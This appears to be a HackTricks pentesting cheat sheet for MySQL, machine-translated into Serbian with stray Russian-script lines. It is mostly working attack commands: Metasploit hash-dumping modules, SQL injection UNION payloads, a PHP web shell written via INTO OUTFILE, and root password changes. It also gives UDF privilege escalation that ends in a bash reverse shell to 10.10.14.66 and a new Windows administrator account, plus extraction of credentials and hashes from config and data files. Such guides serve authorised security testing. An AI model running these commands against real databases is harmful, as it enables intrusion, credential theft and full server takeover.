Trickest

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.

Get access

3306 - Pentesting Mysql

Reading time: 12 minutes

Osnovne informacije

MySQL se može opisati kao open source Relational Database Management System (RDBMS) koji je dostupan bez troškova. Radi na Structured Query Language (SQL), omogućavajući upravljanje i manipulaciju bazama podataka.

Podrazumevani port: 3306

3306/tcp open  mysql

Poveži se

Lokalno

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Удалено

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

Spoljašnja enumeracija

Neke od akcija enumeracije zahtevaju važeće akreditive

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Brute force

Napišite bilo koje binarne podatke

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL komande

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL Permisije Enumeracija

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

Možete videti u dokumentaciji značenje svake privilegije: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

MySQL File priv to SSRF/RCE

MySQL proizvoljno čitanje datoteka od strane klijenta

U stvari, kada pokušate da učitate podatke lokalno u tabelu sadržaj datoteke, MySQL ili MariaDB server traži od klijenta da je pročita i pošalje sadržaj. Zatim, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.
Molimo vas da primetite da je ovo ponašanje korišćenjem:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Обратите пажњу на реч "локални")
Пошто без "локални" можете добити:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Initial PoC: https://github.com/allyshka/Rogue-MySql-Server
U ovom radu možete videti potpunu opis napada i čak kako ga proširiti na RCE: https://paper.seebug.org/1113/
Ovde možete pronaći pregled napada: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

​

POST

Mysql Korisnik

Biće veoma zanimljivo ako mysql radi kao root:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Opasne postavke mysqld.cnf

U konfiguraciji MySQL usluga, različite postavke se koriste za definisanje njenog rada i mera sigurnosti:

• Postavka user se koristi za određivanje korisnika pod kojim će MySQL usluga biti izvršena.
• password se primenjuje za uspostavljanje lozinke povezane sa MySQL korisnikom.
• admin_address specificira IP adresu koja sluša TCP/IP konekcije na administrativnom mrežnom interfejsu.
• Varijabla debug ukazuje na trenutne konfiguracije za debagovanje, uključujući osetljive informacije unutar logova.
• sql_warnings upravlja time da li se generišu informacione stringovi za INSERT izjave sa jednim redom kada se pojave upozorenja, sadržeći osetljive podatke unutar logova.
• Sa secure_file_priv, opseg operacija uvoza i izvoza podataka je ograničen radi poboljšanja sigurnosti.

Eskalacija privilegija

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Eskalacija privilegija putem biblioteke

Ako mysql server radi kao root (ili kao neki drugi korisnik sa višim privilegijama), možete ga naterati da izvršava komande. Za to, potrebno je da koristite funkcije definisane od strane korisnika. A da biste kreirali funkciju definisanu od strane korisnika, biće vam potrebna biblioteka za operativni sistem na kojem radi mysql.

Zloćudna biblioteka koja se koristi može se pronaći unutar sqlmap-a i unutar metasploit-a tako što ćete uraditi locate "*lib_mysqludf_sys*". .so datoteke su linux biblioteke, a .dll su one za Windows, izaberite onu koja vam je potrebna.

Ako nemate te biblioteke, možete ili potražiti ih, ili preuzeti ovaj linux C kod i kompilirati ga unutar linux ranjive mašine:

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Sada kada imate biblioteku, prijavite se u Mysql kao privilegovani korisnik (root?) i pratite sledeće korake:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Izvlačenje MySQL kredencijala iz fajlova

Unutar /etc/mysql/debian.cnf možete pronaći lozinku u običnom tekstu korisnika debian-sys-maint

cat /etc/mysql/debian.cnf

Možete koristiti ove akreditive za prijavu u mysql bazu podataka.

Unutar datoteke: /var/lib/mysql/mysql/user.MYD možete pronaći sve hešove MySQL korisnika (one koje možete izvući iz mysql.user unutar baze podataka).

Možete ih izvući tako što ćete:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Omogućavanje logovanja

Možete omogućiti logovanje mysql upita unutar /etc/mysql/my.cnf otkomentarisanjem sledećih linija:

Korisni fajlovi

Konfiguracioni fajlovi

• windows *
• config.ini
• my.ini
• windows\my.ini
• winnt\my.ini
• <InstDir>/mysql/data/
• unix
• my.cnf
• /etc/my.cnf
• /etc/mysql/my.cnf
• /var/lib/mysql/my.cnf
• ~/.my.cnf
• /etc/my.cnf
• Istorija komandi
• ~/.mysql.history
• Log fajlovi
• connections.log
• update.log
• common.log

Podrazumevana MySQL Baza Podataka/Tabele

HackTricks Automatske Komande

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

​